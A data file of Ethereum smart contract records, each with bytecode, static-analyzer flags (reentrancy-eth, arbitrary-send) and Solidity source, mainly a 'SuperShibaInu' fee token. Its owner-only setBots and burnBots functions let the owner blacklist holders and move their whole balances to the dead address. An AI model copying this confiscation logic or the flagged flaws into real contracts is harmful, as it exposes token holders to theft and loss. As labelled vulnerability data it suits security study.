b50565b9250505090565b60008183611c175760405162461bcd60e51b81526004016107ca91906121c4565b50600061188184866122fe565b601154158015611c345750601254155b8015611c405750601354155b15611c4757565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611c7b87611da0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611cad9087611dfd565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cdc9086611e3f565b6001600160a01b038916600090815260026020526040902055611cfe81611e9e565b611d088483611ee8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d4d91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611d7b8282611b50565b821015611d9757505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611dbd8a601154601254611f0c565b9250925092506000611dcd611bd3565b90506000806000611de08e878787611f5b565b919e509c509a509598509396509194505050505091939550919395565b600061194183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611850565b600080611e4c83856122e6565b9050838110156119415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611ea8611bd3565b90506000611eb68383611ad1565b30600090815260026020526040902054909150611ed39082611e3f565b30600090815260026020526040902055505050565b600754611ef59083611dfd565b600755600854611f059082611e3f565b6008555050565b6000808080611f20606461165f8989611ad1565b90506000611f33606461165f8a89611ad1565b90506000611f4b82611f458b86611dfd565b90611dfd565b9992985090965090945050505050565b6000808080611f6a8886611ad1565b90506000611f788887611ad1565b90506000611f868888611ad1565b90506000611f9882611f458686611dfd565b939b939a50919850919650505050505050565b8035611fb6816123b3565b919050565b600060208284031215611fcd57600080fd5b8135611941816123b3565b600060208284031215611fea57600080fd5b8151611941816123b3565b6000806040838503121561200857600080fd5b8235612013816123b3565b91506020830135612023816123b3565b809150509250929050565b60008060006060848603121561204357600080fd5b833561204e816123b3565b9250602084013561205e816123b3565b929592945050506040919091013590565b6000806040838503121561208257600080fd5b823561208d816123b3565b946020939093013593505050565b600060208083850312156120ae57600080fd5b823567ffffffffffffffff808211156120c657600080fd5b818501915085601f8301126120da57600080fd5b8135818111156120ec576120ec61239d565b8060051b604051601f19603f830116810181811085821117156121115761211161239d565b604052828152858101935084860182860187018a101561213057600080fd5b600095505b8386101561215a5761214681611fab565b855260019590950194938601938601612135565b5098975050505050505050565b60006020828403121561217957600080fd5b8135801515811461194157600080fd5b60006020828403121561219b57600080fd5b5035919050565b600080604083850312156121b557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156121f1578581018301518582016040015282016121d5565b81811115612203576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122c55784516001600160a01b0316835293830193918301916001016122a0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156122f9576122f9612371565b500190565b60008261231b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561233a5761233a612371565b500290565b60008282101561235157612351612371565b500390565b600060001982141561236a5761236a612371565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ab57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220743d244a7cd1b5313e20fe8a202c30285c2d68fad1eced351de992cff7e0249264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,262 |
0xF24fE9b483103761C410833f82F01a50EE198726
|
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SuperShibaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "spSHIB\xF0\x9F\xA6\xB8";
string private constant _symbol = "Super Shiba Inu\xF0\x9F\xA6\xB8";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10 ** 12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
address private burnAddress = 0x000000000000000000000000000000000000dEaD;
// Bot detection
address[] private botArray;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) public {
_marketingFunds = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingFunds.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _marketingFunds);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingFunds);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
botArray.push(bots_[i]);
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function burnBots() public onlyOwner {
for (uint256 i = 0; i < botArray.length; i ++) {
if (bots[botArray[i]]) {
_transfer(botArray[i], burnAddress, balanceOf(botArray[i]));
}
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101485760003560e01c8063715018a6116100c0578063c3c8cd8011610074578063d543dbeb11610059578063d543dbeb146104d7578063dd62ed3e14610501578063fe598ba11461053c5761014f565b8063c3c8cd80146104ad578063c9567bf9146104c25761014f565b806395d89b41116100a557806395d89b41146103af578063a9059cbb146103c4578063b515566a146103fd5761014f565b8063715018a6146103695780638da5cb5b1461037e5761014f565b8063273123b7116101175780635932ead1116100fc5780635932ead1146102f55780636fc3eaec1461032157806370a08231146103365761014f565b8063273123b714610295578063313ce567146102ca5761014f565b806306fdde0314610154578063095ea7b3146101de57806318160ddd1461022b57806323b872dd146102525761014f565b3661014f57005b600080fd5b34801561016057600080fd5b50610169610551565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a357818101518382015260200161018b565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b506102176004803603604081101561020157600080fd5b506001600160a01b038135169060200135610588565b604080519115158252519081900360200190f35b34801561023757600080fd5b506102406105a6565b60408051918252519081900360200190f35b34801561025e57600080fd5b506102176004803603606081101561027557600080fd5b506001600160a01b038135811691602081013590911690604001356105b3565b3480156102a157600080fd5b506102c8600480360360208110156102b857600080fd5b50356001600160a01b031661063a565b005b3480156102d657600080fd5b506102df6106c5565b6040805160ff9092168252519081900360200190f35b34801561030157600080fd5b506102c86004803603602081101561031857600080fd5b503515156106ca565b34801561032d57600080fd5b506102c8610752565b34801561034257600080fd5b506102406004803603602081101561035957600080fd5b50356001600160a01b0316610786565b34801561037557600080fd5b506102c86107a8565b34801561038a57600080fd5b50610393610869565b604080516001600160a01b039092168252519081900360200190f35b3480156103bb57600080fd5b50610169610878565b3480156103d057600080fd5b50610217600480360360408110156103e757600080fd5b506001600160a01b0381351690602001356108af565b34801561040957600080fd5b506102c86004803603602081101561042057600080fd5b81019060208101813564010000000081111561043b57600080fd5b82018360208201111561044d57600080fd5b8035906020019184602083028401116401000000008311171561046f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108c3945050505050565b3480156104b957600080fd5b506102c86109ee565b3480156104ce57600080fd5b506102c8610a2b565b3480156104e357600080fd5b506102c8600480360360208110156104fa57600080fd5b5035610eb2565b34801561050d57600080fd5b506102406004803603604081101561052457600080fd5b506001600160a01b0381358116916020013516610fc9565b34801561054857600080fd5b506102c8610ff4565b60408051808201909152600a81527f737053484942f09fa6b800000000000000000000000000000000000000000000602082015290565b600061059c610595611112565b8484611116565b5060015b92915050565b683635c9adc5dea0000090565b60006105c0848484611202565b610630846105cc611112565b61062b85604051806060016040528060288152602001611e48602891396001600160a01b038a1660009081526004602052604081209061060a611112565b6001600160a01b0316815260208101919091526040016000205491906115e4565b611116565b5060019392505050565b610642611112565b6000546001600160a01b039081169116146106a4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600990565b6106d2611112565b6000546001600160a01b03908116911614610734576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316610766611112565b6001600160a01b03161461077957600080fd5b476107838161167b565b50565b6001600160a01b0381166000908152600260205260408120546105a0906116b5565b6107b0611112565b6000546001600160a01b03908116911614610812576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b031690565b60408051808201909152601381527f537570657220536869626120496e75f09fa6b800000000000000000000000000602082015290565b600061059c6108bc611112565b8484611202565b6108cb611112565b6000546001600160a01b0390811691161461092d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b81518110156109ea576001600c600084848151811061094b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600b82828151811061099857fe5b602090810291909101810151825460018082018555600094855292909320909201805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039093169290921790915501610930565b5050565b600e546001600160a01b0316610a02611112565b6001600160a01b031614610a1557600080fd5b6000610a2030610786565b905061078381611715565b610a33611112565b6000546001600160a01b03908116911614610a95576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601054600160a01b900460ff1615610af4576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b4a9030906001600160a01b0316683635c9adc5dea00000611116565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8357600080fd5b505afa158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610bfd57600080fd5b505afa158015610c11573d6000803e3d6000fd5b505050506040513d6020811015610c2757600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610c9157600080fd5b505af1158015610ca5573d6000803e3d6000fd5b505050506040513d6020811015610cbb57600080fd5b50516010805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03928316179055600f541663f305d7194730610cfa81610786565b600080610d05610869565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d7057600080fd5b505af1158015610d84573d6000803e3d6000fd5b50505050506040513d6060811015610d9b57600080fd5b5050601080546722b1c8c1227a00006011557fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff60ff60b81b197fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216600160b01b1791909116600160b81b1716600160a01b1790819055600f54604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b505050506040513d6020811015610ead57600080fd5b505050565b610eba611112565b6000546001600160a01b03908116911614610f1c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008111610f71576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610f8f6064610f89683635c9adc5dea00000846118fc565b90611955565b601181905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610ffc611112565b6000546001600160a01b0390811691161461105e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b600b5481101561078357600c6000600b838154811061107c57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561110a5761110a600b82815481106110b957fe5b600091825260209091200154600a54600b80546001600160a01b0393841693909216916111059190869081106110eb57fe5b6000918252602090912001546001600160a01b0316610786565b611202565b600101611061565b3390565b6001600160a01b03831661115b5760405162461bcd60e51b8152600401808060200182810382526024815260200180611ebe6024913960400191505060405180910390fd5b6001600160a01b0382166111a05760405162461bcd60e51b8152600401808060200182810382526022815260200180611e056022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112475760405162461bcd60e51b8152600401808060200182810382526025815260200180611e996025913960400191505060405180910390fd5b6001600160a01b03821661128c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611db86023913960400191505060405180910390fd5b600081116112cb5760405162461bcd60e51b8152600401808060200182810382526029815260200180611e706029913960400191505060405180910390fd5b6112d3610869565b6001600160a01b0316836001600160a01b03161415801561130d57506112f7610869565b6001600160a01b0316826001600160a01b031614155b1561158757601054600160b81b900460ff1615611413576001600160a01b038316301480159061134657506001600160a01b0382163014155b80156113605750600f546001600160a01b03848116911614155b801561137a5750600f546001600160a01b03838116911614155b1561141357600f546001600160a01b0316611393611112565b6001600160a01b031614806113c257506010546001600160a01b03166113b7611112565b6001600160a01b0316145b611413576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60115481111561142257600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561146457506001600160a01b0382166000908152600c602052604090205460ff16155b61146d57600080fd5b6010546001600160a01b0384811691161480156114985750600f546001600160a01b03838116911614155b80156114bd57506001600160a01b03821660009081526005602052604090205460ff16155b80156114d25750601054600160b81b900460ff165b1561151a576001600160a01b0382166000908152600d602052604090205442116114fb57600080fd5b6001600160a01b0382166000908152600d60205260409020603c420190555b600061152530610786565b601054909150600160a81b900460ff1615801561155057506010546001600160a01b03858116911614155b80156115655750601054600160b01b900460ff165b156115855761157381611715565b478015611583576115834761167b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115c957506001600160a01b03831660009081526005602052604090205460ff165b156115d2575060005b6115de84848484611997565b50505050565b600081848411156116735760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611638578181015183820152602001611620565b50505050905090810190601f1680156116655780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109ea573d6000803e3d6000fd5b60006006548211156116f85760405162461bcd60e51b815260040180806020018281038252602a815260200180611ddb602a913960400191505060405180910390fd5b60006117026119bc565b905061170e8382611955565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061175657fe5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117aa57600080fd5b505afa1580156117be573d6000803e3d6000fd5b505050506040513d60208110156117d457600080fd5b50518151829060019081106117e557fe5b6001600160a01b039283166020918202929092010152600f5461180b9130911684611116565b600f546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156118aa578181015183820152602001611892565b505050509050019650505050505050600060405180830381600087803b1580156118d357600080fd5b505af11580156118e7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261190b575060006105a0565b8282028284828161191857fe5b041461170e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611e276021913960400191505060405180910390fd5b600061170e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119df565b806119a4576119a4611a44565b6119af848484611a6b565b806115de576115de611b60565b60008060006119c9611b6c565b90925090506119d88282611955565b9250505090565b60008183611a2e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611638578181015183820152602001611620565b506000838581611a3a57fe5b0495945050505050565b600854158015611a545750600954155b15611a5e57611a69565b600060088190556009555b565b600080600080600080611a7d87611bb1565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611aaf9087611c0e565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ade9086611c50565b6001600160a01b038916600090815260026020526040902055611b0081611caa565b611b0a8483611cf4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000600855600a600955565b6006546000908190683635c9adc5dea00000611b888282611955565b821015611ba757600654683635c9adc5dea00000935093505050611bad565b90925090505b9091565b6000806000806000806000806000611bce8a600854600954611d18565b9250925092506000611bde6119bc565b90506000806000611bf18e878787611d67565b919e509c509a509598509396509194505050505091939550919395565b600061170e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e4565b60008282018381101561170e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611cb46119bc565b90506000611cc283836118fc565b30600090815260026020526040902054909150611cdf9082611c50565b30600090815260026020526040902055505050565b600654611d019083611c0e565b600655600754611d119082611c50565b6007555050565b6000808080611d2c6064610f8989896118fc565b90506000611d3f6064610f898a896118fc565b90506000611d5782611d518b86611c0e565b90611c0e565b9992985090965090945050505050565b6000808080611d7688866118fc565b90506000611d8488876118fc565b90506000611d9288886118fc565b90506000611da482611d518686611c0e565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ddf55f433a46429c2f5daaab5639803d8887ebbe62c6613842c5f4e1a03cd0af64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,263 |
0xef19a647ce811d8953892af79cf9566b7e5b2161
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
